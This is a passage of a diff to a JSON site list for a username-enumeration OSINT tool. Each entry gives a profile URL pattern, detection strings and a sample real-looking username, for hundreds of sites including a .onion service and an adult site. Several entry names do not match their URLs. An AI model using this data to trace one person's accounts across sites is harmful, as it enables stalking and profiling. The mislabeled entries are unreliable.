"melaniejwood", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 35377 + }, + "Piccsy": { + "absenceStrs": [ + "my-modal", + "Looks like you're a little lost." + ], + "presenseStrs": [ + "Username" + ], + "regexCheck": "^[^\\.]+$", + "url": "http://{username}.piccsy.com/", + "urlMain": "http://piccsy.com", + "usernameClaimed": "orientcement", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 152719 + }, + "iStock": { + "absenceStrs": [ + "subheading" + ], + "presenseStrs": [ + "collectionName" + ], + "errors": { + "recaptchaKey": "Captcha detected" + }, + "url": "https://www.istockphoto.com/ru/portfolio/{username}", + "urlMain": "https://www.istockphoto.com", + "usernameClaimed": "leowilde", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo", + "stock" + ], + "alexaRank": 245 + }, + "Brusheezy": { + "absenceStrs": [ + "masthead" + ], + "presenseStrs": [ + "username", + " user-name" + ], + "url": "https://www.brusheezy.com/members/{username}", + "urlMain": "https://www.brusheezy.com", + "usernameClaimed": "artistmef", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo", + "stock" + ], + "alexaRank": 12487 + }, + "lightstalking.com": { + "urlMain": "https://www.lightstalking.com", + "presenseStrs": [ + "NPRL.onLoadStyle" + ], + "absenceStrs": [ + "location:" + ], + "checkType": "message", + "requestHeadOnly": true, + "url": "https://www.lightstalking.com/author/{username}/", + "usernameClaimed": "jasonrow", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "blog", + "photo" + ], + "alexaRank": 104676 + }, + "morguefile.com": { + "absenceStrs": [ + "free photographs for commercial use" + ], + "presenseStrs": [ + "sortName", + " profile-data" + ], + "url": "https://morguefile.com/creative/{username}", + "urlMain": "https://morguefile.com", + "usernameClaimed": "thesuccess", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 41779 + }, + "wls.social": { + "urlSubpath": "/wls", + "urlMain": "https://wls.social", + "engine": "Wordpress/Author", + "usernameClaimed": "nathaliemariel", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "blog" + ], + "disabled": true + }, + "steemit": { + "absenceStrs": [ + "NotFound__menu" + ], + "presenseStrs": [ + "profile", + " username" + ], + "url": "https://steemit.com/@{username}", + "urlMain": "https://steemit.com", + "usernameClaimed": "apiprincz", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "news" + ], + "alexaRank": 4449 + }, + "StackOverflow": { + "similarSearch": true, + "absenceStrs": [ + "no-search-results" + ], + "presenseStrs": [ + "user-info", + " user-details" + ], + "url": "https://stackoverflow.com/users/filter?search={username}", + "urlMain": "https://stackoverflow.com", + "usernameClaimed": "maigret", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "coding" + ], + "alexaRank": 37 + }, + "many.link": { + "absenceStrs": [ + "Couldn't find a profile" + ], + "presenseStrs": [ + "og:site_name" + ], + "url": "https://many.link/{username}", + "urlMain": "https://many.link", + "usernameClaimed": "lartisto", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 42687 + }, + "Linkkle": { + "absenceStrs": [ + "anonymous" + ], + "presenseStrs": [ + "profile-top", + " profile-head", + " profile-info" + ], + "url": "https://linkkle.com/{username}", + "urlMain": "https://linkkle.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 166062 + }, + "ContactInBio (domain)": { + "absenceStrs": [ + "img/coffee.png" + ], + "presenseStrs": [ + "user-area" + ], + "url": "http://{username}.contactin.bio/", + "urlMain": "http://username.contactin.bio", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 120192 + }, + "ContactInBio (URL)": { + "absenceStrs": [ + "Page not found." + ], + "presenseStrs": [ + "user-area" + ], + "url": "http://allmy.link/{username}", + "urlMain": "http://allmy.link", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 3705822 + }, + "shor.by": { + "absenceStrs": [ + "page-not-found" + ], + "presenseStrs": [ + "og:title" + ], + "url": "https://shor.by/{username}", + "urlMain": "https://shor.by", + "usernameClaimed": "0gs0", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 40396 + }, + "lnk.bio": { + "absenceStrs": [ + "Not Found - Lnk.Bio" + ], + "presenseStrs": [ + "data-username" + ], + "url": "https://lnk.bio/{username}", + "urlMain": "https://lnk.bio", + "usernameClaimed": "tamirawill", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 14930 + }, + "Anobii": { + "absenceStrs": [ + ">{}" + ], + "presenseStrs": [ + "og:site_name" + ], + "url": "https://www.anobii.com/{username}/profile/activity", + "urlMain": "https://www.anobii.com", + "usernameClaimed": "jjordan", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "books" + ], + "alexaRank": 38465 + }, + "Zoomir.ir": { + "absenceStrs": [ + "txtSearch" + ], + "presenseStrs": [ + "Email" + ], + "url": "https://www.zoomit.ir/user/{username}", + "urlMain": "https://www.zoomit.ir", + "usernameClaimed": "kossher", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "forum", + "ir", + "news" + ], + "alexaRank": 1739 + }, + "Skypli": { + "absenceStrs": [ + "Nothing found" + ], + "presenseStrs": [ + "profile-box__info" + ], + "url": "https://www.skypli.com/profile/{username}", + "urlMain": "https://www.skypli.com", + "usernameClaimed": "roxana19739", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "messaging" + ], + "alexaRank": 2426694, + "disabled": true + }, + "21buttons": { + "absenceStrs": [ + "not-found__main" + ], + "presenseStrs": [ + "profile-info" + ], + "url": "https://www.21buttons.com/buttoner/{username}", + "urlMain": "https://www.21buttons.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "fashion", + "networking" + ], + "alexaRank": 154418 + }, + "99designs.com": { + "absenceStrs": [ + "mobile-only" + ], + "presenseStrs": [ + "profileUrl" + ], + "url": "https://99designs.com/profiles/{username}", + "urlMain": "https://99designs.com", + "usernameClaimed": "t6s", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "design", + "photo" + ], + "alexaRank": 3399 + }, + "Expono": { + "absenceStrs": [ + "404 - Page not found<" + ], + "presenseStrs": [ + "page-user-badge" + ], + "url": "http://www.expono.com/{username}", + "urlMain": "http://www.expono.com", + "usernameClaimed": "snila", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 132649 + }, + "picturepush.com": { + "absenceStrs": [ + ".stage img" + ], + "presenseStrs": [ + "loginname" + ], + "url": "https://{username}.picturepush.com/", + "urlMain": "https://picturepush.com", + "usernameClaimed": "yoskark", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 130110 + }, + "Purephoto": { + "absenceStrs": [ + "Not found Page not found" + ], + "presenseStrs": [ + "user-profile-title" + ], + "url": "https://www.myinstants.com/profile/{username}/", + "urlMain": "https://www.myinstants.com", + "usernameClaimed": "john122", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "music" + ], + "alexaRank": 21299 + }, + "ozvolvo.org": { + "absenceStrs": [ + "dashboard_home_filenotfound" + ], + "presenseStrs": [ + "realusername" + ], + "url": "https://ozvolvo.org/profile/{username}", + "urlMain": "https://ozvolvo.org", + "usernameClaimed": "John122", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "auto" + ], + "alexaRank": 1541775 + }, + "community.startupnation.com": { + "absenceStrs": [ + "Default404" + ], + "presenseStrs": [ + "ProfileOptions" + ], + "url": "https://community.startupnation.com/profile/{username}", + "urlMain": "https://community.startupnation.com", + "usernameClaimed": "John122", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "business" + ], + "alexaRank": 56319 + }, + "hi5": { + "absenceStrs": [ + "birthDay" + ], + "presenseStrs": [ + "provider", + "loggedInUserName", + "profile_banner", + "main", + "groupName" + ], + "url": "http://www.hi5.com/{username}", + "urlMain": "http://www.hi5.com", + "usernameClaimed": "johnnflorence", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "networking" + ], + "alexaRank": 10971 + }, + "mymfb.com": { + "absenceStrs": [ + "Page Not Found" + ], + "presenseStrs": [ + "profile-info" + ], + "url": "https://mymfb.com/{username}/", + "urlMain": "https://mymfb.com", + "usernameClaimed": "mortician", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "networking" + ], + "alexaRank": 1513399 + }, + "Baidu": { + "absenceStrs": [ + "error_404_iframe" + ], + "presenseStrs": [ + "user_name" + ], + "url": "https://tieba.baidu.com/home/main?un={username}", + "urlMain": "https://tieba.baidu.com", + "usernameClaimed": "reneecong", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "cn" + ], + "alexaRank": 3 + }, + "Douban": { + "absenceStrs": [ + "\u8fd4\u56de\u9996\u9875" + ], + "presenseStrs": [ + "db-usr-profile" + ], + "url": "https://www.douban.com/people/{username}/", + "urlMain": "https://www.douban.com", + "usernameClaimed": "darkmage", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "cn" + ], + "alexaRank": 56 + }, + "Dumpor": { + "absenceStrs": [ + "Profile doesn't exist" + ], + "presenseStrs": [ + "user__title" + ], + "url": "https://dumpor.com/v/{username}", + "urlMain": "https://dumpor.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "source": "Instagram", + "tags": [ + "photo" + ], + "alexaRank": 17764 + }, + "forum.leerlingen.com": { + "urlSubpath": "/vbb", + "disabled": true, + "urlMain": "http://forum.leerlingen.com", + "engine": "vBulletin", + "usernameClaimed": "john122", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 1976440 + }, + "Porevo": { + "absenceStrs": [ + "last_news" + ], + "presenseStrs": [ + "profile_all" + ], + "url": "https://porevo.site/index.php?{username}", + "urlMain": "https://porevo.site", + "usernameClaimed": "ejdolon", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "porn" + ], + "alexaRank": 452197 + }, + "discuss.hashicorp.com": { + "urlMain": "https://discuss.hashicorp.com", + "engine": "Discourse", + "usernameClaimed": "jfinnigan", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "tech" + ], + "alexaRank": 19997 + }, + "Blogger (by GAIA id)": { + "absenceStrs": [ + "/edit-profile.g" + ], + "presenseStrs": [ + ">" + ], + "url": "http://{username}.weebly.com/", + "urlMain": "http://weebly.com", + "usernameClaimed": "designguild", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "business" + ], + "alexaRank": 385 + }, + "HiddenAnswers": { + "tags": [ + "q&a", + "tor" + ], + "protocol": "tor", + "url": "http://answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion/user/{username}", + "urlMain": "http://answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion", + "usernameClaimed": "theredqueen", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "qa-part-form-profile" + ] + }, + "{username}.com": { + "protocol": "dns", + "url": "{username}.com", + "urlMain": "{username}.com", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.pro": { + "protocol": "dns", + "url": "{username}.pro", + "urlMain": "{username}.pro", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.me": { + "protocol": "dns", + "url": "{username}.me", + "urlMain": "{username}.me", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.biz": { + "protocol": "dns", + "url": "{username}.biz", + "urlMain": "{username}.biz", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.email": { + "protocol": "dns", + "url": "{username}.email", + "urlMain": "{username}.email", + "usernameClaimed": "phone", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.guru": { + "protocol": "dns", + "url": "{username}.guru", + "urlMain": "{username}.guru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.ddns.net": { + "protocol": "dns", + "url": "{username}.ddns.net", + "urlMain": "{username}.ddns.net", + "usernameClaimed": "repack", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "Ameblo": { + "absenceStrs": [ + "THROW_NOT_FOUND_EXCEPTION" + ], + "presenseStrs": [ + "profile" + ], + "url": "https://ameblo.jp/{username}", + "urlMain": "https://ameblo.jp", + "usernameClaimed": "senpai", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 374, + "tags": [ + "blog", + "jp" + ] + }, + "Observable": { + "absenceStrs": [ + "Observable" + ], + "presenseStrs": [ + "profile_email" + ], + "url": "https://observablehq.com/@{username}", + "urlMain": "https://observablehq.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 25120, + "tags": [ + "sharing" + ] + }, + "galactictalk.org": { + "urlMain": "https://galactictalk.org", + "engine": "Flarum", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 935585 + }, + "discuss.bootstrapped.fm": { + "urlMain": "https://discuss.bootstrapped.fm", + "engine": "Discourse", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2691289 + }, + "discourse.mozilla.org": { + "urlMain": "https://discourse.mozilla.org", + "engine": "Discourse", + "usernameClaimed": "adamlui", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 132 + }, + "ipinit.in": { + "disabled": true, + "urlMain": "http://ipinit.in", + "engine": "Wordpress/Author", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 462514 + }, + "donorbox": { + "absenceStrs": [ + "/orgs/new" + ], + "presenseStrs": [ + "donation_first_name" + ], + "url": "https://donorbox.org/{username}", + "urlMain": "https://donorbox.org", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 19812, + "tags": [ + "finance" + ] + }, + "telescope.ac": { + "disabled": true, + "absenceStrs": [ + ">Not found" + ], + "presenseStrs": [ + "og:site_name", + "alternate", + "article", + "project", + "og:title" + ], + "url": "https://telescope.ac/{username}", + "urlMain": "https://telescope.ac", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 167480, + "tags": [ + "blog" + ] + }, + "sessionize.com": { + "absenceStrs": [ + "Page Not Found" + ], + "presenseStrs": [ + "role=", + "filter" + ], + "url": "https://sessionize.com/{username}/", + "urlMain": "https://sessionize.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 132025, + "tags": [ + "business" + ] + }, + "getmakerlog.com": { + "absenceStrs": [ + "Home | Makerlog" + ], + "presenseStrs": [ + "profile", + "first_name", + "username\\" + ], + "url": "https://getmakerlog.com/@{username}", + "urlMain": "https://getmakerlog.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 224990, + "tags": [ + "business" + ] + }, + "giphy.com": { + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "Giphy", + "al:ios:app_name" + ], + "url": "https://giphy.com/channel/{username}", + "urlMain": "https://giphy.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 695, + "tags": [ + "video" + ] + }, + "clarity.fm": { + "absenceStrs": [ + "On Demand Business Advice" + ], + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c" + ], + "url": "https://partnerkin.com/user/{username}", + "urlMain": "https://partnerkin.com", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "finance" + ], + "alexaRank": 43267 + }, + "hozpitality": { + "presenseStrs": [ + "USERNAME" + ], + "url": "https://www.hozpitality.com/{username}/profile", + "urlMain": "https://www.hozpitality.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "response_url", + "alexaRank": 227277 + }, + "blogs.klerk.ru": { + "presenseStrs": [ + "profile-links" + ], + "url": "https://blogs.klerk.ru/users/{username}/", + "urlMain": "https://blogs.klerk.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 6859 + }, + "Worldis.me": { + "absenceStrs": [ + "user_password", + "send_email" + ], + "presenseStrs": [ + "my_profile", + "profile_upi", + "UserInfo" + ], + "url": "http://en.worldis.me/{username}", + "urlMain": "http://en.worldis.me", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 3233509, + "tags": [ + "ru" + ] + }, + "photoshop-kopona.com": { + "absenceStrs": [ + "<div id='dle-content'></div></div></main></div></div><footer class=\"footer\">" + ], + "presenseStrs": [ + "uspusertitle" + ], + "url": "https://photoshop-kopona.com/ru/user/{username}/", + "urlMain": "https://photoshop-kopona.com", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 44106, + "tags": [ + "ru" + ] + }, + "dumskaya.net": { + "absenceStrs": [ + "><img class=nobo src=/banner/ps2_/ alt=" + ], + "presenseStrs": [ + "><img class=nobo src=/banner/prague_/ alt=" + ], + "url": "https://dumskaya.net/user/{username}/", + "urlMain": "https://dumskaya.net", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 73617, + "tags": [ + "ru" + ] + }, + "rblx.trade": { + "absenceStrs": [ + "isRblxTradeException" + ], + "presenseStrs": [ + "userId" + ], + "url": "https://rblx.trade/p/{username}", + "urlMain": "https://rblx.trade", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 362185, + "source": "Roblox", + "tags": [ + "gaming" + ] + }, + "monitoringminecraft.ru": { + "absenceStrs": [ + "shadowi" + ], + "presenseStrs": [ + "small" + ], + "url": "https://monitoringminecraft.ru/player/{username}", + "urlMain": "https://monitoringminecraft.ru", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 115209, + "tags": [ + "gaming" + ] + }, + "profi.ru": { + "absenceStrs": [ + "page-404__paragraph" + ], + "presenseStrs": [ + "PROFILE", + "profiles", + "profileOIO", + "fullProfile", + "profileUGC2" + ], + "url": "https://profi.ru/profile/{username}/", + "urlMain": "https://profi.ru", + "usernameClaimed": "EgorovRV", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 12037, + "tags": [ + "freelance" + ] + }, + "app.airnfts.com": { + "absenceStrs": [ + "user-not-found-div" + ], + "presenseStrs": [ + "username", + "ownerUsername", + "creatorUsername", + "name", + "user" + ], + "url": "https://app.airnfts.com/creators/{username}", + "urlMain": "https://app.airnfts.com", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 30223 + }, + "xgm.guru": { + "presenseStrs": [ + "\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c:" + ], + "absenceStrs": [ + "\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f" + ], + "url": "https://xgm.guru/user/{username}", + "urlMain": "https://xgm.guru", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 692341, + "tags": [ + "forum", + "gaming" + ] + }, + "giters.com": { + "absenceStrs": [ + "This page could not be found" + ], + "presenseStrs": [ + "nofollow" + ], + "url": "https://giters.com/{username}", + "urlMain": "https://giters.com", + "usernameClaimed": "soxoj", + "source": "GitHub", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 16094, + "tags": [ + "coding" + ] + }, + "githubplus.com": { + "absenceStrs": [ + "preconnect" + ], + "presenseStrs": [ + "collapse" + ], + "url": "https://githubplus.com/{username}", + "urlMain": "https://githubplus.com", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 222994, + "source": "GitHub", + "tags": [ + "coding" + ] + }, + "coder.social": { + "disabled": true, + "absenceStrs": [ + "<title>Coder Social Home" + ], + "presenseStrs": [ + "nofollow" + ], + "url": "https://coder.social/{username}", + "urlMain": "https://coder.social", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 2318473, + "source": "GitHub", + "tags": [ + "coding" + ] + }, + "tg.rip": { + "disabled": true, + "absenceStrs": [ + "btn_label" + ], + "presenseStrs": [ + "\u0422\u0435\u043b\u0435\u0433\u0440\u0430\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + ], + "url": "https://tg.rip/{username}", + "urlMain": "https://tg.rip", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 5553957, + "source": "Telegram", + "tags": [ + "messaging" + ] + }, + "Realmeye-graveyard": { + "absenceStrs": [ + "player-not-found" + ], + "presenseStrs": [ + "entity-name" + ], + "regexCheck": "^[a-zA-Z]+$", + "url": "https://www.realmeye.com/graveyard-of-player/{username}", + "urlMain": "https://www.realmeye.com", + "usernameClaimed": "Eatil", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 69701, + "source": "Realmeye", + "tags": [ + "gaming" + ] + }, + "mel.fm": { + "absenceStrs": [ + "l-page-404__text-not-found" + ], + "presenseStrs": [ + "\u0412\u0432\u0435\u0434\u0438\u0442\u0435 e-mail" + ], + "url": "https://mel.fm/blog/{username}", + "urlMain": "https://mel.fm", + "usernameClaimed": "ivan-ivanov30", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 15670, + "tags": [ + "ru" + ] + }, + "tikbuddy.com": { + "presenseStrs": [ + "nickName" + ], + "url": "https://tikbuddy.com/en/tiktok/{username}", + "urlMain": "https://tikbuddy.com", + "usernameClaimed": "sergey.ivanov29", + "usernameUnclaimed": "noonewouldeverusethis9", + "checkType": "message", + "alexaRank": 187661, + "source": "TikTok", + "tags": [ + "hobby", + "video" + ] + }, + "Djagi": { + "absenceStrs": [ + "noindex" + ], + "presenseStrs": [ + "profile-menu" + ], + "url": "https://www.djagi.com/cards/{username}", + "urlMain": "https://www.djagi.com", + "usernameClaimed": "ivan.ivanov28", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 63627, + "tags": [ + "bg" + ] + }, + "kazanlashkigalab.com": { + "urlMain": "https://kazanlashkigalab.com", + "engine": "Wordpress/Author", + "usernameClaimed": "boncho-bonev", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "kz" + ] + }, + "Yumpu": { + "disabled": true, + "absenceStrs": [ + "float-left" + ], + "presenseStrs": [ + "yp-grid-mag-container yp-content-container" + ], + "url": "https://www.yumpu.com/user/{username}", + "urlMain": "https://www.yumpu.com", + "usernameClaimed": "26vadim.ivanov26", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 951, + "tags": [ + "stock" + ] + }, + "999.md": { + "absenceStrs": [ + "error-404-page" + ], + "presenseStrs": [ + "user-profile" + ], + "url": "https://999.md/ru/profile/{username}", + "urlMain": "https://999.md", + "usernameClaimed": "ivanov25", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 3344, + "tags": [ + "freelance", + "md", + "shopping" + ] + }, + "Muckrack": { + "absenceStrs": [ + "(404) Page Not Found" + ], + "presenseStrs": [ + "profile-details-item" + ], + "url": "https://muckrack.com/{username}", + "urlMain": "https://muckrack.com", + "usernameClaimed": "adam-flomenbaum", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 4820, + "tags": [ + "us" + ] + }, + "Aparat": { + "absenceStrs": [ + "404 - Page Not Found" + ], + "presenseStrs": [ + "Profile", + "username", + "ProfileMore", + "name", + "provider" + ], + "urlProbe": "https://www.aparat.com/api/fa/v1/user/user/information/username/{username}", + "url": "https://www.aparat.com/{username}", + "urlMain": "https://www.aparat.com", + "usernameClaimed": "BoHBiG", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 61, + "tags": [ + "ir", + "video" + ] + }, + "airlinepilot.life": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://airlinepilot.life/u/{username}" + }, + "algowiki-project.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://algowiki-project.org/en/User:{username}" + }, + "alimero.ru": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://alimero.ru/profile/{username}" + }, + "baseball-reference.com": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://baseball-reference.com/bullpen/User:{username}" + }, + "bbpress.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bbpress.org/forums/profile/{username}/" + }, + "betawiki.net": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://betawiki.net/wiki/User:{username}" + }, + "bitcoin.it": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bitcoin.it/wiki/User:{username}" + }, + "bookafly.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bookafly.com/users/{username}" + }, + "brainscale.net": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://brainscale.net/users/{username}" + }, + "bulbapedia.bulbagarden.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bulbapedia.bulbagarden.net/wiki/User:{username}" + }, + "bulbapp.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bulbapp.com/{username}" + }, + "caddy.community": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://caddy.community/u/{username}" + }, + "chiefdelphi.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://chiefdelphi.com/u/{username}" + }, + "choice.community": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://choice.community/u/{username}" + }, + "cloudromance.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://cloudromance.com/{username}" + }, + "club.myce.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://club.myce.com/u/{username}" + }, + "cnblogs.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://cnblogs.com/{username}" + }, + "commons.commondreams.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://commons.commondreams.org/u/{username}" + }, + "community.cartalk.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.cartalk.com/u/{username}" + }, + "community.gamedev.tv": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.gamedev.tv/u/{username}" + }, + "community.gemsofwar.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.gemsofwar.com/u/{username}" + }, + "community.glowforge.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.glowforge.com/u/{username}" + }, + "community.home-assistant.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.home-assistant.io/u/{username}" 